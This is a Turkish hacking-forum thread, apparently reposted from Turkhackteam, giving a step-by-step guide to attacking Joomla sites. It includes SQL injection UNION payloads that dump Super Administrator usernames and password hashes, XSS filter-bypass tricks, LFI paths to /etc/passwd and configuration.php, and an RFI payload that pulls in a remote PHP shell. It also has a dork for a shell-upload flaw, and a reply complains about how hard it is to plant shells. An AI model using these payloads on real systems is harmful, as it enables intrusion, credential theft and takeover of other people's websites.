Tüm Yönleriyle Joomla ve Açıkları

BayanMajor

Üye
16 Ocak 2016
133
0
Seul/Güney K
Öncelikle Bu Paylaşım Görmeyenler İçindir Alıntıdır. GravityForce adlı arkadaşımızın paylaşımıdır.

Tüm Yönleriyle Joomla Açıkları

~ Joomla Nedir? Ne İşe Yarar?
~ Joomla’nın Yapıtaşları
~ Joomla Temel Güvenliği
~ Joomla Eklentileri
~ Basic Joomla Hacking
~ Joomla SQL Injection
~ Joomla XSS/CSRF
~ Joomla LFI
~ Joomla RFI
~ OWASP Joomscan And Nikto
~ Joomla Shell Upload Açığı

:::: [Bölüm - 1] Giriş

Joomlanın tüm bilgilerini buradan bulabilirisiniz.

:::: [Bölüm - 2] Joomla Nedir? Ne İşe Yarar?

Joomla açık kaynak kodlu bir içerik yönetim sistemi (content management system)dir.
GravityForce // TurkHackTeam.Net
Bu içerik kısmı: basit metin, resimler, müzik, video, belgeler ya da düşündüğünüz
herhangi birşey olabilir.
Dolayısıyla joomla zengin bir içeriğe sahip bir portal sistemidir.

Peki joomlayı Mambo, Joomla, Moddle, PHPNuke, Xoops, PHP-Fusion, vBulletin gibi
diğer hazır portal sistemlerinden ayıran avantajı nedir?
Tabiki pek fazla deneyim gerektirmemesi.Bun joomla’cı arkadaşlar kızabilir ama öyle

Deneyim gerektirmemesi avantaj gibi gözüksede joomla güvenliği için en büyük dez avantajdır.

:::: [Bölüm - 3] Joomla’nın Yapıtaşları


Joomla temel olarak 3 unsurdan oluşmaktadır:

1. Component 2. Modül 3. Plugin

[#] Component :

oomla uygulamasının kullanıcıları ilgilendiren kısmıdır.Örneğin: forumlar , yorum kutuları,
dosya yönetimi , profil ayrıntıları i galeriler....

Birçok joomla açığı componentler unsurunda meydan gelmektedir.

[#] Modül :
Joomla uygulamasının kullanıcıyı ilgilendirmeyen site sayacı , son gönderilenler , online
üyeler gibi kısımlarıdır...

Joomla modüllerinde exploit edilebilecek açıklar bulunmamaktadır.

[#] Plugin :
Mambot olarak da bilinen bu unsur sitenin işleyişiyle ilgili küçük progr*****lardır.
Örneğin joomla yazılarında embed PHP kodlarının kullanılması gibi....

:::: [Bölüm - 4] Joomla Temel Güvenliği

Joomla’yı indirdiğiniz zaman temel çekirdeğinde hiçbir açık bulmazsınız.
Yani açıklar sonradan yüklediğiniz eklentilerde meydana gelmektedir.

Şimdi joomlanın input filtresinde bazı satırlara göz atalım:

"/phpinputfilter/inputfilter.php"

var $tagBlacklist = array (’applet’, ’bOdy’, ’bgsound’ ....

Yukarda XSS filtresinde "bOdy" yasaklı ancak "bOdy" olarak kullanırsak engeli aşabiliyoruz.
SaLii // TurkHackTeam.Net
$tagOpen_start = strpos($source, ’<’);
while ($tagOpen_start !== false)

Yukarda ise "<" ile başlayan sorgunuz engellenmekte.
Bu engeli ise sorgunuzu ">< ile başlatarak aşabiliyoruz.

Bütün bu anlatılanlardan sonra artık joomla açıklarının componenntlerde meydana geldiğini,
Joomla çekirdeğinde hiçbir açık bulunmadığını , açıkların eklentilerle meydana geldiğini,
anlamış bulunuyoruz.

:::: [Bölüm - 5] Joomla Eklentileri

Joomla eklentilerini herhangi bir joomla desteği veren web sitesinden edinebilirsiniz.

[#] siteniz.com/administrator

Yetkisi ile eklentiyi kuruyoruz.Kurulum tamamlandıktan sonra menü kısmında bazı komponentlerin
yüklendiğini görürsünüz.
Yüklediğiniz eklentiye göre aşağıdaki gibi bir url göreceksiniz:

siteniz.com/index.php?option=com_cw&item=1&itemid=2

Bu url birçok input barındırmakta:

index.php?option= //Komponentleri çağırır
com_cw //Çağırılan komponent
&item=1
&itemid=2

Yukardaki parametreler joomla siteyi ziyaret ettiğinizde ençok karşılaştığınız parametrelerdir.
Bunlara ilaveten aşağıdaki parametrelere de çok fazla rastlanılır.


- format
- link_id
- view
- controller
- layout
- category
- cat
- visit
- page

Bu parametreler’i bulmak, sorgu göndermek için yapacağımız ilk iştir.

:::: [Bölüm - 6] Basic Joomla Hacking

Joomla açıkları için yapacağınız ilk iş localhostunuza joomla kurarak test yapmak olmalıdır.
Bu size deneyim kazandıracaktır.Deneyim kazandıktan sonra artık bir joomla sitesi üzerinde:

- Input alanları
- Eklenti parametreleri
- Hidden type inputları
- PhpMyadmin
- Kullanılan Joomla Teması gibi unsurları bulmanız gerekmektedir.




Joomla da ataklardan korunmak için web site sahipleri genelde SEO ve SEF gibi teknikler kullanırlar.
Her ne teknik kullanırlarsa kullansınlar inputlar herzaman vardır.
Örneğin hiiden type bir input’u kaynak kodlarından görebiliriz.

----------------------------------------------------------

<input type="hidden" name="option" value="com_cw" />
<input type="hidden" name="ItemId" value="1" />
<input type="hidden" name="Item" value="2" />
<input type="hidden" name="Category" value="1" />
SaLii // TurkHackTeam.Net
----------------------------------------------------------

Temel bilgilerde size input alanlarını ve zaafiyet noktalarını anlattım.

Bütün bu temel bilgileri verdikten sonra artık yavaş yavaş atak tiplerine geçelim.


:::: [Bölüm - 7] Joomla SQL Injection

Joomla’da eklentileri kurduğunuz zaman :

index.php?option=com_cw&category=1&Item=2

gibi Url’ler muhtemel açıkların meydana geldiği alanlardır.
En sık olarak:

- id cat, category, categories , katid
- item , entry , page

bu parametrelerde meydana gelmektedir.

Peki injection testini nasıl yapacağız?

category=1 parametresinde 1 değeri yerine üsttırnak(’) koyduğumuz zaman
Mysql hatası alıyorsak SQL Injection açığı mevuttur.
Bunu daha iyi anlamanız için örneklere geçelim:
SaLii // TurkHackTeam.Net
URL: /index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999

Vulnerable Parametre : "Itemid"

URL: /index.php?option=com_mailto&tmpl=mailto&article=5

Vulnerable Parametre : "article"

Parametrelerin nasıl bulunacağını ve Injection testini nasıl yapacağımızı öğrendik.

Exploit etmeye başlamadan önce:
SaLii // TurkHackTeam.Net
# Joomla Admin tipi : Super Administrator
# Tablomuz : jos_users
# Tablo kolonları : username , password

Bilgileri bilmemiz ve extra olarak mysql injection bilgimizin olması gerekmektedir.
Kolon ve tablo adları ile admin tipini biliyoruz.
Şimdi exploit edelim:

Kolon Sayısı :

/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3

Veriyi Çekekim :

/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3+FROM+jos_users
+where+usertype=0x53757065722041646d696e6973747261 746f72--

Çektiğimiz veride password’un joomla salt md5 ile kriptolanmış olduğunu görürsünüz.
Bunları kırması çok kolay değildir.
Bu yüzden XSS açıkları bana göre SQL Injection açıklarından daha önemlidir.

:::: [Bölüm - 8] Joomla XSS/CSRF

Joomla’ da XSS/CSRF açıkları daha çok formlar,ziyaretçi defterleri,yorum kutularında
meydana gelmektedir.
Bunun dışında Hidden type formlar da da sıkılıkla oluşmaktadır.

Joomla da kaynak kodlarında formlara baktığımız zaman:

<input type="text" name="search" value="" />

Yukardaki input değerine js/html/vbs gibi kodlar girebiliriz.
Kurban kaynak kodlarını göremeyeceği için zararlı kodumuzuda göremeyecektir.


FORM : <input type="text" name="search" value="" />

EXPLOIT : <input type="text" name="search" value="">**********alert("kasva")</script>" />

Exploit ettiğimiz form bize "kasva" uyarısını verecektir.
Aşağıda reel örneleri inceleyebiliriniz:

Example : /components/com_users/ XSS Vulnerability

Example : /components/com_weblinks/ XSS Vulnerability




:::: [Bölüm - 9] Joomla Local File Inclusion

LFI dediğimiz zaman hemen aklınıza linux serverde "etc/passwd" geldiğini bilmiyor değilim.


URL : /index.php?option=com_projectfork&section=

EXPLOIT : /index.php?option=com_projectfork&section=../../../../etc/passwd%00

Joomlada LFI açıklarında çoğu kez php kaynak kodlarınıda okuyabilmekteyiz.
Bunun için aşağıdaki yöntem çok etkili olan bir yöntemdir.


EXPLOIT : /index.php?option=com_projectfork&section=../../../configuration.php

Bunu exploit ettikten sonra dökümanın başında temel ataklar için gerekli olan PhpMyadmin
uygulamasını bulmanız gerekmektedir.
Exploit ederek elde ettiğiniz bilgiler ile databaseye erişim hakkına sahip olabilirsiniz.

:::: [Bölüm - 10] Joomla Remote File Inclusion

Joomla RFI açıkları bize uzak serverden dosya dahil etmemizi sağlamaktadır.
RFI açığı bulduğumuz zaman PHP Shellimizi dahil ederek serverde yetki alabiliriz.

URL : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=

EXPLOIT : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://cw.com/shell.txt?

Exploit ettikten sonra dosyaları görünteleyebilir,indirebilir,değiştirebiliriz.

:::: [Bölüm - 11] OWASP Joomscan And Nikto

Owasp geliştiricileri joomla eklentilerinde var olan açıkları otomatik tarayan bir tool
geliştirdirler.

Perl dilinde yazılan bu toolda yaklaşık 500 adet plugini vardır.
Şuan bu tool güncelleştirilmese bile açık tarayıcı olarak faydalı bir tooldur.


Bu konuda diğer bir tool ise benim favorim niktodur.
Yine Perl dilinde yazılmış bir tooldur.
Yaklaşım 3.500 plugini vardır.Günceleştirmeler mevcuttur.

Nikto ile de joomla sitenizi tarayabilirsiniz.

Nikto İndir : Nikto2 | CIRT.net
Joomscan : OWASP Joomla! Security Scanner | Free Security & Utilities software downloads at SourceForge.net

:::: [Bölüm - 12] Joomla Shell Upload Açığı

Açık eklentiden kaynaklanmaktadır.

Eklenti : com_garyscookbook

Dork :

Kod:
/index.php?option=com_garyscookbook

Gelen sitelerde site ana dizininden sonrasını silin ve

Kod:
/index.php?option=com_garyscookbook&func=newItem ekleyin.
 

BAMSIBEY

Katılımcı Üye
14 Mar 2017
547
2
root@Yakuza
Joomla kadar zahmet çektiren bişey yok insana shell atmak o kadar eziyet çekitiryo ki insana bide hostlarının geneli çok yavaş oluyo içinden sv de çıkmıyo
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.